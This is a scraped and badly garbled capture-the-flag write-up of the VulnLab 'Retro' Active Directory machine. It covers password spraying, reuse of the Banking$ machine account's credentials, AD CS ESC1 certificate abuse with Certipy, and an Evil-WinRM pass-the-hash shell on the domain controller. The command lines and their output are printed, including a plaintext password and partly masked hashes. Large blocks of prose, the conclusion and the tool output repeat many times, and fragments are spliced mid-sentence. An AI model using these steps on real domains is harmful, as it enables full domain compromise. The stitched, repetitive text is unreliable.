This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 @retro.vl -p ‘banking1234’ -c ‘retro-DC-CA’ -target ‘dc.retro.vl’ -template ‘RetroClients’ -upn ‘administrator’ -key-size 4096 -debug

Certipy v4.8.2 – by Oliver Lyak (ly4k)
[+] Trying to resolve ‘dc.retro.vl’ at ‘8.8.8.8’

[+] Trying to resolve ‘RETRO.VL’ at ‘8.8.8.8’

[+] Generating RSA key

[*] Requesting certificate via RPC

[+] Trying to connect to endpoint: ncacn_np:10.10.124.218[pipecert]

[+] Connected to endpoint: ncacn_np:10.10.124.218[pipecert]

[*] Successfully requested certificate

[*] Request ID is 9

[*] Got certificate with UPN ‘administrator’

[*] Certificate has no object SID

[*] Saved certificate and private key to ‘administrator.pfx’

┌──(root㉿kali)-[/home/kali/VulnLab/retero_1]

└─# certipy auth -pfx ‘administrator.pfx’ -username ‘administrator’ -domain ‘retro.vl’ -dc-ip 10.10.124.218

Certipy v4.8.2 – by Oliver Lyak (ly4k)
[*] Using principal: administrator@retro.vl

[*] Trying to get TGT…

[*] Got TGT

[*] Saved credential cache to ‘administrator.ccache’

[*] Trying to retrieve NT hash for ‘administrator’

[*] Got hash for ‘administrator@retro.vl’: aad3b435b51404eeaad3b435b51404ee:252fac7066d9————-
┌──(root㉿kali)-[/home/kali/VulnLab/retero_1]

└─# evil-winrm -i dc.retro.vl -u administrator -H 252fac7066d9——–
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:UsersAdministratorDocuments> whoami

retroadministrator

*Evil-WinRM* PS C:UsersAdministratorDocuments> ls

*Evil-WinRM* PS C:UsersAdministratorDocuments> cd ../desktop

*Evil-WinRM* PS C:UsersAdministratordesktop> ls
Directory: C:UsersAdministratordesktop
Mode LastWriteTime Length Name

—- ————- —— —-

-a—- 7/25/2023 12:38 PM 36 root.txt
*Evil-WinRM* PS C:UsersAdministratordesktop> cat root.txt

VL{8—————————–

*Evil-WinRM* PS C:UsersAdministratordesktop>
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 -p ‘banking1234’

SMB 10.10.124.218 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)

SMB 10.10.124.218 445 DC [+] retro.vlBANKING$:banking1234
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

